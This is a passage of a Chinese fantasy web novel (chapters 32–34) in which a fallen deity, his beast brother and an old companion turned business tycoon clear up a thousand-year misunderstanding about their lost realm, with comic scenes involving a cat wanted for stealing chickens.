“直到这几百年,异兽一族横空出世,我冥冥之中感觉这两者之间应该有什么联系。但是我没了法力,又无法真的确认。” 傅宴川自嘲一笑,“空有神明之躯,行走在世间千年,法力却被收回。但我还是该感谢,不然我都活不到现在。” “你这一觉,睡得太久了些,我还以为看不见你醒来。” 他笑容有些苦涩,舒泽还是天地神兽,但他的帝君之名,早已不复。他本不想告诉舒泽这些的,一如当年。 就算告诉了,也不过是有一人徒增烦恼,找不到解决之策。但他一个人在这个世间行走太多年了,失而复得的感觉实在太美好了些。而且……瞒不了一辈子。 舒泽已经呆在原地,就算已经把平时偷懒的脑子全都转了起来,但还是不能很好的处理这庞大的信息。 他的心上生出了密密麻麻的线,向上蔓延,坠着脑子往下,让他没有办法正常思考。 山海境没了,曾经的朋友没了。 哥哥一个人背负了那么多,还一个人孤单的过了千年。 舒泽抓着他的衣袖,眼泪像断线的珍珠不断地滑落,眼中的茫然无措看得傅宴川心中痛意成倍加重。 他想说话,但看着舒泽这个样子,却又不知道该说什么。舒泽也想说点什么,他想安慰傅宴川,告诉他,起码还有他在。 但是他一张口,眼泪就先滚落,完全没有办法说出口。 两颗漂泊的心,在此刻挨得那么近,但又是那么的伤痕累累。 舒泽埋进傅宴川的怀里,本来想着要安慰人的人,先结结实实的哭了个痛快。 皮皮躲在角落里,看着这一幕,很不高兴的瘪嘴。他就知道,在他见这个人的第一眼,他就知道了,这个人会让院长伤心。说不定……还会带着院长离开这里。 但是他又没有解决的办法。 舒泽抽抽噎噎了很久,红着眼睛从傅宴川怀里抬起头,“你为什么要说、神力,没了啊。” “你不是,把神力、给我了么?”舒泽红着一双眼睛,又悲伤又不解。他哥的神力,不是封锁在他体内的嘛? 他本来还疑惑他哥那么干的原因,听到一半又以为他哥是为了保护他,听到现在,却是彻底蒙圈。 怎么感觉,他哥自己都不知道这件事啊? 傅宴川呼吸一顿,握着舒泽肩膀的手在轻微颤抖,“小泽,你刚刚说什么?” “傅宴川!!!”告知被“挖墙角”的易总裁终于杀过来了,“你这个混蛋!你给我出来!!” 穿着时尚禁欲的易大总裁,身后跟着马仔苏尔,双目通红,对着傅宴川强力开炮,“你怎么敢!你到底怎么敢来这里的,你不心虚吗??” 第32章 大家都还在 石头砸进平静的水面,易大总裁一声爆呵,把院里的兽兽吓得抬头,看见他旁边站着的苏尔时,又懵逼观望。 三只小崽啪嗒啪嗒的聚过来,警惕观察。 易威登双目猩红,死死盯着傅宴川,胸膛剧烈起伏,一看就气得不轻。 三小崽互相交换一个眼神,然后——右腿儿后挪,一窝蜂的往舒泽身后一躲。 熊铁锤:“你是谁!” 皮皮:“为什么要来我们保育院?你是来找我们院长的吗?” 小灰扯住舒泽的衣袖,“嘤~院长我怕。” 易威登一出现,傅宴川瞳孔紧缩,垂在身侧的手微微颤抖,好像看见了什么不可思议的事。 不敢置信,但又,点燃了希望之火。一直期盼,但又不敢想象的,都在此具象化。 小灰的撒娇唤回了傅宴川崩到极致的神经,在舒泽伸出手之前提着小灰放入自己怀里,熟练的调整到舒服的位置,顺毛似的拍了拍发顶。 莫名其妙到了陌生人的怀里,小灰紧张到尾巴都炸毛了,但傅宴川身上的味道和院长一样好闻,被摸头的小灰感受着那股冬日暖阳的气息,逐渐软成了一颗汤圆,趴在怀里乖乖不说话了。 傅宴川抱着小兽,旁边坐着眼含担忧的舒泽,呼啸吹了千年的风霜,在此刻略有停歇。 他怔怔开口,“二牛……” “!”易威登即可反击,“叫什么呢!这名字是你喊的嘛!” “还有你谁啊?”易大总裁的逼格随着这名字的出口,缓缓的,缓缓的跌落谷底,现在听他的口音都带上了大碴子味,“傅宴川躲哪里去了?是不是看见我来了,心虚不敢见啊?” 他再次看过舒泽,无视旁边的傅宴川,在房间里搜寻,冷笑连连,“让自己的下属在这里……怎么,是准备对付我吗?” “就这么一个人就想拦住我吗?” 傅宴川:“……?” 舒泽:“o.0” 安静,无限蔓延。 舒泽:“等一下……” “你不要说话!”李二牛一整个应激,“我就知道,你就是偏心,你向着你哥!” 他怒中起悲,越说越伤心,“那些年我的付出,我的感情,在你眼里一文不值!” 还说相信他呢,他一找过来,都直接把傅宴川人都藏起来了。 李二牛喉咙一哽,咽下苦涩。 舒泽:“…………” 苏尔:“!!!” 真的!是真的修罗场! 他两眼迸发出灼热的光芒,如激光扫射般在房间内打转。 难道、难道不仅仅是三角恋,是四个人的爱恨情仇?! 舒泽深吸一口气,“不,你误会——” “我误会?!”李二牛妒火中烧,好啊,你说啊,“我和服宴川同事掉进河里,你选谁?” “说啊,你说啊!” 舒泽脱口而出,“我选我哥,但是——” 傅宴川蓦然转头,眸光微动。 李二牛:“!!!” 他踉跄两步,神色哀伤。 连!想!都!没!有!想! 那些年的屎是白铲了,他就是一个笑话,天大的笑话! “哈……”四十五度仰天自嘲,“是我不自量力了。” 吃瓜的崽崽,来回甩头,眼睛转圈圈。兽兽也随着争吵进一步白热化,逐渐围了过来。 虽然看不明白,但是吃瓜这件事,全物种通用。 里三圈,外三圈,聚集点全落在了舒泽身上。 舒泽:“…………” 按道理来说,一般都是他让别人无语的,但今天这场面属实有点不讲道理。 傅宴川不赞同,“你可以听他先把话说完。”舒泽毕竟是院长,这个样子影响他的名声和信服度。 “你谁啊,你,你有资格管我们之间的事吗?” 当事人傅宴川满脸疑惑,“……为什么没有?” 李二牛被气得仰倒,好好好,傅宴川本人不在就算了,还敢随便排个下属在这里指点江山! “你特么算——” 舒泽腾的站起来,一声爆呵,“够了!” “再吵就都出去慢慢吵。” 都不在一个频道上,这么吵下去到底有啥用?他目光沉沉,扫过他哥,扫过半个铲屎官,想凑上去一个挠一爪子。 本来还在争辩的俩人见舒泽真的黑脸了,立马老实。傅宴川摸摸鼻子挺直背,李二牛忿忿不平闭上嘴,但哼都不敢哼,这个家谁才是真正的老大,他们还是分得清楚的。 舒泽指着傅宴川问李二牛,“你是不是没认出来他是谁?” 李二牛哼哼,高贵冷艳。 什么无名小卒,值得他认。 舒泽又转头去看傅宴川,声音不自觉降八度,“你身上的伪装是一次性的吗?” 傅宴川摇摇头,“我现在就关。” 他随意点了两下,平静的水面泛起涟漪,散去灰蒙的迷雾,平平无奇甚至有些灰扑扑的青年骤然变了个模样。 干净利落的轮廓,水墨晕染的柔光,高挺的鼻梁,漂亮温柔的眼睛,眉宇间藏不住的锐利。微一抬眼,带着久居上位的从容,但又不失温润雅致。 身上那不太干净的工作服,立马显得高级了许多。 “怨妇李二牛”倒吸一口凉气,“我靠!” 通缉犯苏尔倒吸凉气到抽抽,“我靠!!” 窝在怀里,近距离感受美颜变声的小灰:“我——” 傅宴川轻轻捂住他的嘴,教导主任上线,“小孩子不要学。” 小灰眨巴眨巴眼睛,两只小手扒着傅宴川的大手,乖巧的把耳朵朝后飞了一下。 嗯,温柔版教导主任。 舒泽奇怪的看向苏尔,用眼神问询,你靠什么? 但此时的苏尔,正在思考,如何在监察处铁血处长的眼皮子底下逃命,腿不停的打哆嗦,分不出精力解答舒泽的疑问。 还是见过更多世面的李二牛先反应过来,“怪不得到处找不到人呢……” 他本来就高的攻击性,在看见傅宴川脸的那一刻更是高得没边了,“傅处长愿意把自己搞得那么狼狈,看来是真的栽了啊。” 傅宴川眼中闪过一丝诧异,显然没有想到,李二牛居然知道自己现在的身份。 傅处长? 舒泽看看刺猬似的二牛,又看看傅宴川。本来就一团乱麻的情况,又成功搅进来另外一团毛线,更混乱啦~ 他把熊铁锤提溜过来,在把所有无关人员赶出去之前,做出最后的,最重要的叮嘱,“晚上喝粥。” 趁乱、呸,趁热喝。 熊铁锤:“o……i……” “还有,把咪咪关起来。”等把这边的事情解决了,再去修理他。 正准备跑路的苏尔:“…………” 屋内一扫而空,屋外的兽也被赶走。关上窗门,关上房门,在二牛杀人的目光中,舒泽默默从傅宴川身侧挪开,形成三足鼎立之势。 舒·主持人·泽:“我觉得你们之间应该有点误会,需要说清楚。” 高冷霸总“哼”了声,想往自己的老板椅上一靠,听对面能画出什么花来。当着他的面,如何蒙骗舒泽这个傻孩子。但悲伤的发现,现在不在自己的办公室,这里甚至没有一个板凳! 傅宴川不太关心这种前前后后,他更喜欢先发制人,“二牛,你知道我在哪里,为什么一直没来找我?” “哈!” “找你?” 李二牛一点就炸,“宴川帝君!高高在上的宴川帝君!你都放弃我们所有兽了,我哪还敢来找你啊?上赶着被羞辱吗?” “当年山海镜地龙翻身,你为什么不阻止?”过去种种,已过千年,但那天崩地裂却好似就发生在昨日,他哑着嗓子怒吼,字字啼血,“你眼中除了一个舒泽,难道就没有其他兽了吗?” “我知你偏心,但也不至于偏心到这种地步吧?!” 被cue的主持人皱眉,这里面还有他的事? 那日,他到处找傅宴川都没有找到,但境内地动却是愈发凶险明明,他别无他法,只能沿途救治一些弱小的兽兽,并折返回去找舒泽。 当时他被太多受伤需要救治的兽拖住了脚步,仓促时,正看见到处都找不到人的傅宴川,无视满地受伤的兽兽,将舒泽护住,转身离去。 可明明舒泽的实力也不弱,起码不缺自保能力。但傅宴川就这样无视其他需要救命的兽,头也不回的走了。 他怒火中烧,但却无法抛下满地受伤的兽兽,只能化出原型,将更多的兽纳入自己的保护中。 等地龙平息,傅宴川和舒泽早就不见踪影。而它互下来的兽兽们,也离奇的陷入昏迷。不管他用什么办法,都无法唤醒。 他没了办法,只得将兽兽们安顿好,带着怒气和不解出去找傅宴川。遇到事的时候,谁也不管,只管自己的弟弟,已经很可恨了,但事已平息,他为什么还不回来? 还不回来履行自己帝君的责任。 这一找,就是千年。 各地异动,他陆陆续续找到了很多逃出来,但陷入昏迷的兽兽。但就是到处都找不到独自离去的宴川帝君。 不解的怨气终究在日复一日的找寻中生出了无法和解的恨。 凭什么? 凭什么那么多兽兽,他可以潇洒割舍。凭什么,他从来没有回来看一眼? 时至今日,他终于把心中积攒千年的怨气和恨意毫无保留的发泄出来。连声质问,终于看见了那个高高在上的宴川帝君哑口无言。 但那又怎么样呢?这失去的千年时光,又怎么找得回来呢? 李二牛喘着粗气,无法平息。傅宴川目光震动,被李二牛口中透露出来的信息惊到说不出话来。 地龙翻身停止了的?山海境没有毁掉?那些兽兽只是陷入了昏迷,被他送出去的兽兽们都被他找了回来? 所以,到处一切制止了的? 舒泽本以为小伙伴们都已经消亡,好不容易将悲伤的情绪压了下去,先解决误会。蓦然又听说,其实大家都还活着。大悲大喜,大落大起,一时也被冲得发晕。 但他却从李二牛的表述中捕捉到一丝不对劲的地方。 他哥明明说,找到他之后,一起被弹了出去。但为什么,在二牛的口中却是他哥带着他逃走? 舒泽敏锐的察觉到,他哥有事瞒着他。 但现在,这不是最重要的事,他默默的把疑问压了回去。 “他没有逃。”舒泽和傅宴川对视一眼,都从对方的眼中看见了掩藏不住的喜悦。 兽兽们都还在,山海境还在。 “他早就知道会有这一场劫难,他一直在为此努力。”舒泽一字一顿,眼神却从未离开过他哥的脸。 他在安慰和鼓励。 安慰傅宴川,你曾经的付出不是无用之功。鼓励傅宴川,勇敢的解释误会,这一次,他会醒着陪他一起面对。 第33章 再也不是没咪要的野人了…… 傅宴川把刚和舒泽说过的话又重复了一遍,但掠去了自己抱着舒泽离开那段,只是解释,“我当时已经法力尽耗,不然我不会、不会不管大家的。” 傅宴川咽下酸涩,对自己的无能为力倍感无奈。 他反复确定,害怕是自己的错觉,“大家都还在,只是陷入了昏迷?” 傅宴川为自己洗去了冤屈,但李二牛却止不住的恍惚。这些年,他掉着一口气,就想找到傅宴川问个清楚。 但却没有料到是这个原由。 原来他没有舍弃大家,原来曾经有一场灭顶之灾差点落下……为什么?天道不公!他们遭受灭族之祸,人族就得以欣荣昌盛? 他那么多年,只是狠错了人?他到底应该恨什么? 李二牛心中杂乱无章,但一看见傅宴川的脸,刹时又回了神,戒备前倾,“你说你没有逃,我信了。” 傅宴川早些年对兽的态度,无可指摘。就算是装的,也不至于装了那么久,一下子就不装了。这也是他埋藏在心底,多年未解开的疑惑。比起傅宴川毫无作为,他确实更相信,他有所为。 但是,“你说用尽全力,你就用尽全力了?” 李二牛若不是知道舒泽身上有他的神力,他还真就被傅宴川糊弄过去了。 他刚刚解释的时候就跳过了这段!如果他走的时候真的还有神力,那舒泽身上的是什么? 这个解释不清楚的话,他怎么知道他是真的尽力了,还是在骗他! 傅宴川心中疲惫焦急夹杂,但还是努力平复,平稳解释,“那日我确实已经耗尽神力,不信你可以查验,我身上确实没有……” “哥。” 李二牛一句,“你身上当然没有,你都给舒泽了!”只来得及说了前半句,就被另一个当事人打断了。 舒泽在傅宴川问询的目光中,抬起了手。刹那,一股无形的气流涌出,李二牛和傅宴川都感受到了那股磅礴力量! 傅宴川难以置信的瞪大了眼睛,比见到舒泽出现在自己眼前时还要失态,“怎么会?” “你身上怎么会有神力?” 傅宴川灵光乍现,恍然清明。 怪不得,怪不得他那么多年一直找不回自己的力量。他还以为是山海境彻底覆灭,他没了信仰之源,只剩下了一副不老不死的躯壳。 万万没想到,是在那个时候,遗留在了舒泽的身上。 李二牛冷冷一笑,“好啊,现在还在演呢?我倒要看看你怎么解释。” 舒泽头都不转的打断,“心平气和点,就你这拱火的聊天方式,等大家都醒了,都还没搞清楚。” 他惯来懒散,懒到说话都不乐意说大段了,更别提赋予它更多阴阳怪气的话语底色。 眼下也是真的急了。 他一发火,效果也是相当的好,李二牛立马就不敢嚷嚷了,不爽的抱臂别过脸。 舒泽看着傅宴川,轻声问道:“哥,你到底隐瞒了什么?” 舒泽相信,他哥说神力用完了,那就是真的用完了。但后面一定发生了什么,导致他哥自己都不知道,神力到了他的身上。 傅宴川和舒泽对峙了好一会儿,前者无奈败下阵来,无声叹了口气,“我不是故意隐瞒什么。” “不是要紧事,我就没有提。” 傅宴川敛眸,“当时我确实已经油尽灯枯,我抱起小泽离去,是为了找我前面送兽出去的通道。” 他面对李二牛不信任的指责,也难免生出了几分苦意,“我当时甚至没有没有办法划破虚空送小泽直接出去。” 这件事,他复盘了千年。 从心里懊悔,自己的选择。如果当时,他回来得不及时,或者舒泽提前离去,他找不到人。那他甚至没有给自己的弟弟留生的机会。 但午夜无数次回溯,他没有一次做出不一样的决定。 他是帝君。山海境内,均尊他为帝君。 有限的时间内,他总是要救更多的兽的。 他永远懊悔自己的决定,却永远无法改变自己的决定,愧疚无尽蔓延将他彻底吞噬。 舒泽的手指无意识的抽动,竟无端生出几分害怕。 于他而言,那场灾难,只是睡了一觉。随着过往一点点拼凑,其间种种,无法想象,当时他哥都经历了什么。 “应该是,我的心头血洒在了小泽身上,加之我最后一刻的想法是护住他的性命,这才将神力引到了他的身上。” 他轻描淡写的略过,却丝毫没有解释,当时什么样的情况,能让一个神君生生吐出了心头血。 傅宴川声音极轻,掩盖不住的疲惫,“该说的,我都已经说清楚了。” “现在你可以告诉我,大家都在哪里了吧?” 往事暗沉不可追,事已至此,他迫切的想知道,当年他的努力没有白费,他可以从千年的梦魇中挣脱出来。 舒泽再也忍不住,他走上前去拽住他哥的袖口,眼睛水雾弥漫,仓惶开口,“哥……” 但只是喊了喊他,也不知道该说什么。 傅宴川摸了摸他的脑袋,轻声道:“你不怪就好。”怪我没有第一时间选择救你。 舒泽用力的摇摇头,用力吞下喉咙里堵塞的硬块,“怎么会……”他怎么可能会怪哥哥,他怎么可能会怪一个用自己生命护住自己的人。 他只是心疼。 太苦了,傅宴川这个帝君当得太苦了。 四目相对间,傅宴川读懂了舒泽的心疼,心头一热,眼睛有些发酸,“你不怪哥哥就好。” 他擦过舒泽泛红的眼角,像无数次调皮后的纵容。二人贴得极近,一个仰头一个低头,鼻息在身测交融,呼吸间皆是对方的灼热,本就滚烫的心再次升温,烘得怦怦直跳。 明明是三个人的世界,但二人之间形成的磁场,和谐到容不得他人插足。 好在“他人”也没注意到,信息量太大,这千年都是恨错了人,恍惚中还有点,尴尬。 没想到,居然那么简单。都是他想多,误会了。 “不对!” 李二牛再次伸出手,“不对!” 气氛唯美二人组:“…………” 舒泽心平气和,“还有什么不对?” 要问就赶紧问,不要再打断他的情绪。他和哥哥叙个旧,是什么很难实现的事情吗? 李二牛梗着脖子,“那你既然行的端做得正,为什么我来找你的时候,你不见我?” 他从山海境出来,主要是为了找傅宴川。但傅宴川没了神力,他死活找不到人,反倒是慢慢的把其他兽都给捡了回来。 本来整个蓝星就够难找了,后来人类科技飞速发展,直接冲向银河系。他更是觉得两眼一黑,找人无望。 哪曾想,时代发展又蹦出来一个异兽族,他总觉得这些兽兽身上有熟悉的味道,但是他又无法断定和昏迷中的兽兽们有什么联系没。 正当他一筹莫展时,居然在电视屏上看见了西装革履,高高在上的傅宴川! 千年过去,傅宴川长相没半点变化,但曾经温润雅致的性格却是发生了翻天覆地的转变。 生人勿进,铁血手腕,眉宇间带着化不开的冰霜。 但依旧高高在上。 李二牛当时已经创立了盾混集团,老乡见老乡两眼泪汪汪,惊喜一度压过了这么多年的怀疑和怨恨,立马就托人,想见一见这位新任监察处处长。 “但是你没答应见我,你这不是心虚是什么?”李二牛其实已经相信了傅宴川的解释,甚至还有些懊悔。 反复从记忆中找寻信息点,是想解开疑惑,也是想让自己的怀疑站住脚跟,减少心虚。 傅宴川皱起眉头,陷入回忆,“那个时候,我刚上任,很多人都涌了上来,其中利益牵扯太广,我不可能随便见人。” “你当时,托的是民企的牌子我根本看不见,你为什么不直接表明身份呢?或者你直接用真名,我也会多几分探查。” 李二牛:“……” 他怎么说?这要他怎么说? 难道说,当时是想装波大的,拿着打脸逆袭流剧本扇到傅宴川脸上去,告诉他,虽然我没有从政,但是哪又怎样。我已经不是曾经的李二牛了,我现在是十大杰出青年企业家易威登。 后面在现场遥遥见了一次,他眼睛都不带瞟一眼的,相当伤人。而且没从他身上闻到熟悉的气息,他不就琢磨其他的去了吗? 但此情此景,他要敢说出来的话,舒泽就敢把他的脸挠花。 “……既然是这样,那我没什么好说的了。” “山海境虽然塌了,但我还能自由进出,我就把大家都安顿在家里了,过大半个月就回去看一下。”李二牛梗着的脖子软了下来,又尴尬又心虚,“帝君,我……” 前面还一口一个傅宴川,现在就换上了以前的称谓。他本来就是个憨憨的兽,不然也不会被舒泽压着拔毛欺负。一根筋,认死理,当初只相信自己看见的,现在知道自己错了,立马就想道歉。 但傅宴川对兽兽们向来纵容,“没事,我都知道。” “在那样的情况下,误会也很正常。这些年,你照顾大家辛苦了。” 傅宴川对自己被误解一事并不是很在意,他比较关心,“你以为我把神力都给小泽,所以潜入我住所把小泽带走了?” 从监察处开始,就是舒泽不知道且不曾参与过得事情了。他还在琢磨,他哥现在这惨状,是不是下岗再就业。就敏锐的捕捉到了关键词——潜入、带走。 他是猜过这个可能性,但亲耳听见还是不一样。 所以、他明明就是在他哥身边窝得好好的,都是二牛把他叼走,这段日子他才过上了没有他哥伺候的好日子。 想要刀一个人的眼神是藏不住的,舒泽用眼神射杀李二牛,自知理亏的二牛兄肩膀瑟缩,眼神躲避,霸总气质荡然无存。当然,这种东西他本来也就没真的。 傅宴川熟稔的捏住舒泽的后脖子揉了两下,“先把事情弄清楚。” 正在磨牙的舒泽立马乖巧,收回自己杀兽目光。 死亡凝视消失,李二牛这才吞吞吐吐倒出实情,“我就是碰巧……” “你好歹是监察处处长,行事隐秘又低调,房子的安全保密系数又高。我花了好几千万星币,才凑齐了团队。” “我本来只是想去你家里看看,有没有什么东西,谁知道你密室后面藏的是他啊。” 说起来李二牛也有点委屈。 他花了多少金钱和时间才探查到傅宴川家里有个密室,本以为有什么重大信息,等了好久才蹲到入侵机会,结果千辛万苦抱回来一只祖宗。 天知道他打开高薪团队送回来的箱子,发现一只大黄面包时,有多无语,有多心惊胆战——怕舒泽把自己毛扒秃,怕傅宴川找上门来刀了他。 本来他也动了把舒泽送回去的心思,毕竟这位大爷又没做错什么,还不好伺候。 但谁叫他身上的味道诱发了舒泽,睡了上千年的舒泽竟然有要清醒的意向,而且身上还散发着浓郁的神力气息。 李二牛先入为主,有了傅宴川带着舒泽离去的事情做铺垫,一感知到这股神力,那不是对自己的判断更加自信了吗? 三下五除二,剑走偏锋,赌一把舒泽能不能解开异兽族和山海境里沉睡的兽兽们之间的联系。 傅宴川很沉默。 所以他不应该把小泽藏在密室里,把猫窝放在床边上就不会发生失踪案,毕竟他只是一只软软胖胖的大黄面包。 舒泽也很沉默,所以他本来有一个超级舒服的睡觉环境,根本就没有人可以打扰到他。但他被硬薅起来,挑起了整个保育院的重担。 “我的逻辑很合理啊!”李二牛表示,“经过那么多年商场的厮杀,我已经不是曾经的我,独自肩负着兽族命运的我,大胆尝试怎么了?” 李二牛知道傅宴川没有背叛兽族,傅宴川找到了弟弟,知道兽兽们都还活着,自己的神力也还在。 沉闷的气氛一扫而空,事情的走向开始变得奇葩又熟悉。 傅宴川打开伪装,淡定表示,“我出去看看小熊的粥熬好没有。” “不……”李二牛伸出尔康手,充满期翼的目光默默锁在傅宴川身上,后者柔柔一笑,左脸写着“自求”,右脸写着“多福”。 李二牛:“…………” “我就知道你们俩都偏心对方!” 舒泽挽起袖子,理直气壮,“那咋了?” 傅宴川快步离开,贴心的关上房门,对上无数双好奇的眼睛,展颜一笑,“嘘,他们之间有点大人之间的事情要处理。” 兽兽们眼中闪烁着懵懂的光,似懂非懂。 “啊——!!!” 易大总裁痛到变调的惨叫冲破房顶,以此为中心,向四面八方扩散,经久不绝,胆小的鼠兔被吓得嘴里的粮食都掉了。 傅宴川在“一片欢腾”中,眼中掀起波澜,笑意无可遏制的晕染开来。千百年,他从未像此刻那么放松过。 屋内的惨叫声还在继续,“我的头发!!!!” 变成原身蹲在笼子里的苏尔动动耳朵,回忆起了一些心酸往事。但又急急的伸长脖子,恨不得直接扒进去看热闹。所以这个三角恋,到底谁和谁啊?谁才是第三者,现在又决定谁和谁在一起了啊? 为什么他老板叫得那么惨?他不是被三的那个吗? 难道说……他才是做三的那个! 前脚绕后脚,后脚踩前脚,苏尔急得原地直打圈。 傅宴川缓步走到笼前,他还挠心抓痒的左探右看,过了好一会儿,身体一僵,终于反应过来——眼前这人是傅宴川啊! 自己是那个一级通缉犯啊! 苏尔僵着身子,默默的,默默的,往地上一倒,翻出肥润的肚皮,伸出爪爪开花,“喵呜~” 清澈的大眼睛忽闪忽闪。 人家只是一只可爱又无辜的咪咪,人家什么都不知道的喵。 傅宴川饶有兴致的看着,没开口。苏尔还以为他真吃这一招,于是滚得愈发卖力,就差把脑袋挤出去蹭他的裤腿儿。 正当他媚得起劲时,傅宴川缓缓开口,“别费力气了。” 苏尔:“……” 可恶啊,他就知道,这样装是没用的。这个冷血的男人根本就不吃这一招…… “我喜欢白爪粉垫的。”傅宴川一本正经,严肃分析,“你的爪子看起来,有点黑,黑色显脏。” “还有,没人给你打理毛发吗?你看起来有点,灰扑扑的。” 苏尔:“…………” %¥&#*¥&,你还挑上了?你有猫吗,你就挑! 第34章 我不是来拆散你们的,我…… “星际一级通缉犯,苏尔。” 苏尔闭眼装死。 “在三十八星连杀二十三人,逃离流窜至今。” 装死的苏尔,倏的一下睁开眼皮,丧萌丧萌的脸上布满,“???” 不儿,谁? 谁连杀二十三人,是它么? 傅宴川没有将苏尔脸上的懵逼放在心上,眼中带着冰冷审视,“你为什么要靠近小泽?” “你受谁的指使,有什么目的?” “等等等等——”苏尔费劲扒拉的站起来,“不好意思打断一下,你刚刚说,谁杀了二十三人,我么?” 它的疑惑透过厚实的毛发,明明白白的刻画在脸上。 它什么时候杀人了啊?他自己咋不知道啊? “我虽然讨厌人类!但我不是那种胡作非为的坏兽啊!杀人,怎么可能啊?”苏尔急得团团转,就差跪下来高喊青天大老爷,请上苍还自己清白。 这种罪名,说出来都吓咪! 傅宴川微一皱眉,他见过太多兽,人有好坏,兽亦如此。就算苏尔现在再喊多少遍冤屈,在事情真的水落石出之前,他都不会降低心中警惕。 “如果这不是你做的,那你为什么看见我的时候那么害怕。” “你知道我的身份吧?那也应该明白,在我面前装,说谎话是没有任何意义的。” 苏尔憋屈得要死,一张大猫脸气得毛发根根立起,“我当然认识你啊,我是通缉犯我还能不认识你嘛!” “但我当时就偷了二十三只鸡,怎么就成杀害二十三人的凶兽了啊!” 苏尔委屈怒吼。 当时就是饿得不行了,才悄悄潜入人类的养殖场偷了几只鸡。而且真的很偶尔啊,大半年也才偷二十三只! 若不是老板克扣工资,都吃不饱饭,它能去偷别人家的鸡吗?! 就为了这二十三只鸡,他成了一级通缉犯,躲躲藏藏,可可怜怜的,已经很倒霉了好吧。 这、这这这怎么还从“鸡命”变成了“人命”啊! 傅宴川:“…………” 这个解释荒谬到他真的有点信了,他也是该回去再查查了。 “我擦?结果你这个高危通缉犯只是个偷鸡贼???”易威登不知道啥时候刑满释放了,抹了发胶的头发诡异的朝右偏,像是为了挡住某种视线。 他难以置信的问苏尔,“你特么就这样,还敢收我那么多钱?” 碎掉的易大总裁满脸写着:无良打手,欺瞒客户,赶紧退钱! 苏尔的委屈又更上一层楼,这次还加了点莫名其妙,“那不是你找的我嘛?!” 二牛:“那是因为你是一级通缉犯,战斗力强啊!” 苏尔:“我就是一级通缉犯啊!不信你问他啊!” 它指向傅宴川这个官方人士,“这都是你们定的,你告诉他,我是不是一级通缉犯啊?” 刚刚还不想承认自己是呢,现在逮着人证明。 傅宴川:“…………” 李二牛不可思议的转头,“这年头对兽的管控已经严重到这个地步了吗?” 就是二十三只鸡就可以发布一级通缉令了? 傅宴川的太阳穴跳了跳,缓缓道:“……偷几只鸡不至于成一级通缉犯,这里面要么有什么误会,要么就是它说谎了。” 二牛根本懒得听完,和苏尔激情对喷,“还钱!” 苏尔不甘示弱,“我怎么就不是一级通缉犯了?白纸黑字,那我都是上了星际联网,各地可查的!” 李二牛:“我买的不是能杀鸡的兽!” 苏尔:“那咋啦!你看不起鸡啊!” 傅宴川:“………………” 根本,没有人听他说话。但现在,他个人感知上,偏向“二十三人连环杀人兽”里面肯定有什么误解。毕竟能被李二牛“淘”到的兽,能是什么坏蛋。 他扶额叹息,无奈转头。 不远舒泽带着小灰,一大一小蹲在不远处,聚精会神的看热闹。傅宴川心口蓦的一暖,远离是非之地,走过去揉揉大大,摸摸小的,“怎么了?” 傅宴川卸下冷漠的外壳后,对兽的天然吸引力藏都藏不住,小灰晃晃大尾巴,奶声奶气,“他们在吵什么鸡啊?” 小灰瞅着傅宴川的脸,好奇得不行,为什么他一下子就长得不一样了? 傅宴川:“……这个问题,等小孩子长大以后就知道了。” “我现在想和院长单独说几句话,你去找其他崽崽玩儿好不好?” 傅宴川那可是能把舒泽这种混世大魔王一把带大的狠人,哄起小灰这种乖乖崽那是手到擒来。 “好哦~”小灰眷恋的用尾巴扫了一下舒泽,啪嗒啪嗒的离开。 鸡飞狗跳中,傅宴川寻到了一丝宁静。他学着舒泽的样子,抱膝蹲在地上,偏头去问他,“怎么了,还有什么想不通的吗?” 舒泽看着李二牛捶胸顿足的背影,“他为什么没有昏迷?” 傅宴川已经在想过了,“他是混沌,严格说来不算兽,天地灵气,始于混沌归于混沌,离了山海境也是想去哪儿就去哪儿。” 舒泽点点头,“哦。” 然后又陷入了新一轮沉默,兴致不高的样子。 傅宴川有点担心,“这段时间是没休息好吗?在外面吃得好睡得好吗?” 怎么感觉大黄面包有一点点缩水?就那种细微之处,要非常仔细才看得出来的变化,实在是太不明显了,他差点就错过了。 他目光如炬,将弟弟从头到脚又看了一遍,“怎么了?是有什么不开心的吗?” 舒泽垂着眼皮,神色怏怏。蜷缩成一小团,样子瞧着有些可怜。 他慢吞吞的把脸别过去,透过全然陌生的一张脸,毫无停顿的,没有任何阻碍的,看到了掩藏在下的温柔面庞。 “哥……” 虽然今天已经听见了好几次,但这怎么够弥补千年的缺失?傅宴川恨不得把自己所有一切都献到舒泽面前,只要他静静呆在自己身边,那便是最美好的故事。 他伸手抚过眉梢,极尽温柔,像是捧着易碎的瓷器,又像是太大声惊醒了自己的美梦,“怎么了?” 舒泽伸出手覆在傅宴川的手背上,温度交融的刹那,两人的心中皆是一震。 傅宴川呼吸乱了一瞬,反手将舒泽小了一圈的手握住,舒泽紧紧反握。 二人都很用力,好似都在确认,身边这人是真实存在的。 “你那天,都没有想过自己离开吗?”舒泽看着山海境的宴川帝君,看着把自己捡回去养大的哥哥,“你那天,是不是抱着必死的心?” 舒泽知道,如果那日不是生生呕出了心头血后昏迷,又被山海境强行探出。那他哥一定会在把他送走之后折返,再像将他护在身下一样,再送更多的兽出来,再在最后一刻用血肉之躯,与此地同眠。 傅宴川沉默许久,掌心传来的热意缓缓流向心脏,他没办法说谎,但又说不出残忍的话,“……对不起。” 放你一个人在外面孤苦伶仃,对不起。 但他没有办法,他是所有人的帝君,他没能救下所有人已是失责,又在怎能不留下? 舒泽的眼神在一瞬即盛满了悲伤,为傅宴川心痛,又为对方不懂自己而生气,“对不起有什么用?” 傅宴川哑口无言。 “你有你的使命要完成,但你有没有问过我,想不想离开你的身边?”他不怪傅宴川的选择,他怎么可能怪?在这场战役中,他甚至都放弃了自己的生死。 舒泽感觉自己被他哥宠坏了,明明最累最苦的人是他哥,既得利益是他,但是他就是无法遏制的生气。 “你有没有问过,我是怎么想的呢?” “我也想留在你身边啊。”舒泽的声音有些颤抖,“与其无聊的活下去,我更愿意和你一同长眠啊。” 尾音泄出了几丝不受控制的泣音。 他用最熟悉的打闹方式宣泄情绪,但没有谁能消磨他对哥哥的情绪,他忍了又忍,不想用自己的不懂事,得了便宜还卖乖去打扰傅宴川。 但是他还是忍不住。 凭什么替他做出选择? 为什么不问问他到底想要什么? 傅宴川彻底静默,“小泽,你还很小。” 若说不动容的那是假的,傅宴川心中翻江倒海,五味杂陈,隐秘的窃喜密密匝匝的裹满了整颗心脏。花了千年才好不容易压下的感情,因着这一句话,再一次,舒展枝丫。 干涸千年的心房,枝繁叶茂,遮天蔽日。 